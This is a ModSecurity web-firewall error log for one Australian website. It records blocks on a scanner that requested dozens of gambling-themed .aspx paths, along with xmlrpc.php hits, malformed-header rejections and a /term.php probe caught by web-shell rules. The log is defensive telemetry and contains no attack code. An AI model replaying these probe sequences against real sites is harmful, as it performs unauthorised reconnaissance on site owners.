[Fri Apr 24 01:45:07.259635 2026] [:error] [pid 46953:tid 46973] [client 65.108.125.120:52590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aepao0nlpdHh-P6wKbp48QAAAlE"]
[Fri Apr 24 01:45:09.760447 2026] [:error] [pid 65000:tid 65051] [client 65.108.125.120:29560] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aepapb6vRb9j6psK2ZZ4FQAAAhI"]
[Fri Apr 24 01:46:14.290462 2026] [:error] [pid 65000:tid 65056] [client 65.108.125.120:18742] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aepa5r6vRb9j6psK2ZZ5CgAAAhc"]
[Fri Apr 24 01:46:16.819372 2026] [:error] [pid 65000:tid 65043] [client 65.108.125.120:18744] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aepa6L6vRb9j6psK2ZZ5EQAAAgo"]
[Fri Apr 24 01:46:19.470197 2026] [:error] [pid 65000:tid 65047] [client 65.108.125.120:32806] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aepa676vRb9j6psK2ZZ5GAAAAg4"]
[Fri Apr 24 01:46:37.419967 2026] [:error] [pid 42971:tid 43002] [client 65.108.125.120:25902] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aepa_TEP2_5RswrH8bFQgAAAABA"]
[Fri Apr 24 01:46:40.011088 2026] [:error] [pid 43083:tid 43098] [client 65.108.125.120:8190] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aepbADC5hrvNXosL83Ks7gAAAM0"]
[Fri Apr 24 01:46:42.459546 2026] [:error] [pid 46953:tid 46969] [client 65.108.125.120:8196] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aepbAknlpdHh-P6wKbp5JgAAAk0"]
[Fri Apr 24 01:46:44.891308 2026] [:error] [pid 42973:tid 43052] [client 65.108.125.120:8208] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aepbBG6I0QqmmmLTHE2CSwAAAIk"]
[Fri Apr 24 01:46:47.266194 2026] [:error] [pid 43083:tid 43085] [client 65.108.125.120:8216] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aepbBzC5hrvNXosL83Ks8QAAAMA"]
[Fri Apr 24 01:46:49.785615 2026] [:error] [pid 42972:tid 43036] [client 65.108.125.120:55210] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aepbCcOAb-3sOknsk4fB5AAAAFQ"]
[Fri Apr 24 01:46:52.134409 2026] [:error] [pid 64967:tid 64979] [client 65.108.125.120:55220] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aepbDIAV4GfOOdX8QzqYlwAAAYo"]
[Fri Apr 24 01:46:54.663596 2026] [:error] [pid 42971:tid 43010] [client 65.108.125.120:55224] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aepbDjEP2_5RswrH8bFQiQAAABg"]
[Fri Apr 24 01:46:57.085676 2026] [:error] [pid 65000:tid 65046] [client 65.108.125.120:55232] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aepbEb6vRb9j6psK2ZZ5TwAAAg0"]
[Fri Apr 24 01:46:59.586441 2026] [:error] [pid 42971:tid 43004] [client 65.108.125.120:40752] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aepbEzEP2_5RswrH8bFQjAAAABI"]
[Fri Apr 24 01:47:02.129290 2026] [:error] [pid 43083:tid 43091] [client 65.108.125.120:40782] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aepbFjC5hrvNXosL83Ks-wAAAMY"]
[Fri Apr 24 01:47:06.067931 2026] [:error] [pid 42971:tid 43002] [client 65.108.125.120:40796] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aepbGjEP2_5RswrH8bFQjwAAABA"]
[Fri Apr 24 01:47:08.634709 2026] [:error] [pid 42973:tid 43054] [client 65.108.125.120:37248] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aepbHG6I0QqmmmLTHE2CuQAAAIs"]
[Fri Apr 24 01:47:40.244902 2026] [:error] [pid 65000:tid 65044] [client 65.108.125.120:44972] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aepbPL6vRb9j6psK2ZZ53AAAAgs"]
[Fri Apr 24 01:47:42.843369 2026] [:error] [pid 42973:tid 43060] [client 65.108.125.120:44984] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aepbPm6I0QqmmmLTHE2C3gAAAJE"]
[Fri Apr 24 01:47:45.326665 2026] [:error] [pid 64998:tid 65026] [client 65.108.125.120:44996] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aepbQYV5EysYcTLjmwgyUAAAAdg"]
[Fri Apr 24 01:47:47.884945 2026] [:error] [pid 42973:tid 43050] [client 65.108.125.120:45008] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aepbQ26I0QqmmmLTHE2C6QAAAIc"]
[Fri Apr 24 01:47:50.522326 2026] [:error] [pid 42972:tid 43026] [client 65.108.125.120:20024] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aepbRsOAb-3sOknsk4fCMgAAAEo"]
[Fri Apr 24 01:47:53.032261 2026] [:error] [pid 65000:tid 65053] [client 65.108.125.120:20038] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aepbSb6vRb9j6psK2ZZ6BAAAAhQ"]
[Fri Apr 24 01:47:55.714006 2026] [:error] [pid 64998:tid 65025] [client 65.108.125.120:20042] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aepbS4V5EysYcTLjmwgyYgAAAdc"]
[Fri Apr 24 01:47:58.151928 2026] [:error] [pid 42972:tid 43039] [client 65.108.125.120:57884] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aepbTsOAb-3sOknsk4fCOgAAAFc"]
[Fri Apr 24 01:48:00.712924 2026] [:error] [pid 42972:tid 43016] [client 65.108.125.120:57892] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aepbUMOAb-3sOknsk4fCPwAAAEA"]
[Fri Apr 24 01:48:03.404779 2026] [:error] [pid 25635:tid 25655] [client 65.108.125.120:57908] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aepbU8Rxv6UsgRGKB3JRSAAAARA"]
[Fri Apr 24 01:48:05.721472 2026] [:error] [pid 65000:tid 65032] [client 65.108.125.120:57910] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aepbVb6vRb9j6psK2ZZ6NQAAAgM"]
[Fri Apr 24 01:48:08.068984 2026] [:error] [pid 65000:tid 65057] [client 65.108.125.120:25590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aepbWL6vRb9j6psK2ZZ6QwAAAhg"]
[Fri Apr 24 01:48:10.680243 2026] [:error] [pid 64998:tid 65005] [client 65.108.125.120:25598] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aepbWoV5EysYcTLjmwgyfQAAAcM"]
[Fri Apr 24 01:48:13.241904 2026] [:error] [pid 65000:tid 65038] [client 65.108.125.120:25610] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aepbXb6vRb9j6psK2ZZ6WgAAAgU"]
[Fri Apr 24 01:48:15.859193 2026] [:error] [pid 65000:tid 65049] [client 65.108.125.120:25614] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aepbX76vRb9j6psK2ZZ6XgAAAhA"]
[Fri Apr 24 01:48:18.477322 2026] [:error] [pid 46953:tid 46957] [client 65.108.125.120:35266] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aepbYknlpdHh-P6wKbp5UwAAAkE"]
[Fri Apr 24 01:48:21.001381 2026] [:error] [pid 42972:tid 43030] [client 65.108.125.120:35290] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aepbZcOAb-3sOknsk4fCXQAAAE4"]
[Fri Apr 24 01:48:23.563558 2026] [:error] [pid 42972:tid 43036] [client 65.108.125.120:35320] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aepbZ8OAb-3sOknsk4fCZAAAAFQ"]
[Fri Apr 24 01:48:26.112398 2026] [:error] [pid 42973:tid 43067] [client 65.108.125.120:35338] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aepbam6I0QqmmmLTHE2DDAAAAJg"]
[Fri Apr 24 01:48:28.531774 2026] [:error] [pid 46953:tid 46956] [client 65.108.125.120:60590] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aepbbEnlpdHh-P6wKbp5WQAAAkA"]
[Fri Apr 24 01:48:30.925971 2026] [:error] [pid 46953:tid 46958] [client 65.108.125.120:60606] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aepbbknlpdHh-P6wKbp5WwAAAkI"]
[Fri Apr 24 01:48:33.511481 2026] [:error] [pid 46953:tid 46981] [client 65.108.125.120:60610] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aepbcUnlpdHh-P6wKbp5XwAAAlg"]
[Fri Apr 24 01:49:05.505763 2026] [:error] [pid 42972:tid 43026] [client 65.108.125.120:8770] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aepbkcOAb-3sOknsk4fCsgAAAEo"]
[Fri Apr 24 01:49:07.907388 2026] [:error] [pid 42972:tid 43031] [client 65.108.125.120:8778] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aepbk8OAb-3sOknsk4fCvQAAAE8"]
[Fri Apr 24 01:49:10.472718 2026] [:error] [pid 64998:tid 65020] [client 65.108.125.120:25768] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aepbloV5EysYcTLjmwgy0AAAAdI"]
[Fri Apr 24 01:49:13.021572 2026] [:error] [pid 64998:tid 65017] [client 65.108.125.120:25772] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aepbmYV5EysYcTLjmwgy5wAAAc8"]
[Fri Apr 24 01:49:15.604649 2026] [:error] [pid 42973:tid 43060] [client 65.108.125.120:25778] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aepbm26I0QqmmmLTHE2DcAAAAJE"]
[Fri Apr 24 01:49:18.136774 2026] [:error] [pid 46953:tid 46965] [client 65.108.125.120:4860] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aepbnknlpdHh-P6wKbp5ggAAAkk"]
[Fri Apr 24 01:49:20.672403 2026] [:error] [pid 42972:tid 43024] [client 65.108.125.120:4872] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aepboMOAb-3sOknsk4fC2wAAAEg"]
[Fri Apr 24 01:49:23.199300 2026] [:error] [pid 46953:tid 46976] [client 65.108.125.120:4880] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aepbo0nlpdHh-P6wKbp5jQAAAlQ"]
[Fri Apr 24 01:49:25.657347 2026] [:error] [pid 64967:tid 64976] [client 65.108.125.120:4892] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aepbpYAV4GfOOdX8QzqY5gAAAYc"]
[Fri Apr 24 02:17:57.466221 2026] [:error] [pid 46953:tid 46956] [client 74.7.227.169:39494] [client 74.7.227.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.169, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aepiVUnlpdHh-P6wKbp-1gAAAkA"], referer: https://vetstars.com.au/
[Fri Apr 24 03:06:46.048404 2026] [:error] [pid 65000:tid 65029] [client 177.9.73.128:55692] [client 177.9.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.9.73.128, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeptxr6vRb9j6psK2ZavMQAAAgA"]
[Fri Apr 24 03:57:20.422662 2026] [:error] [pid 19200:tid 19212] [client 43.130.16.140:37310] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aep5oDQ--M3-tsKAnhFRcAAAAMQ"]
[Fri Apr 24 05:37:10.385533 2026] [:error] [pid 52129:tid 52138] [client 182.42.104.32:37305] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeqRBuKCZKf8_u2LKiBLLAAAAQU"]
[Fri Apr 24 06:22:14.308951 2026] [:error] [pid 19200:tid 19224] [client 23.100.53.213:38979] [client 23.100.53.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aeqbljQ--M3-tsKAnhGmIQAAANA"]
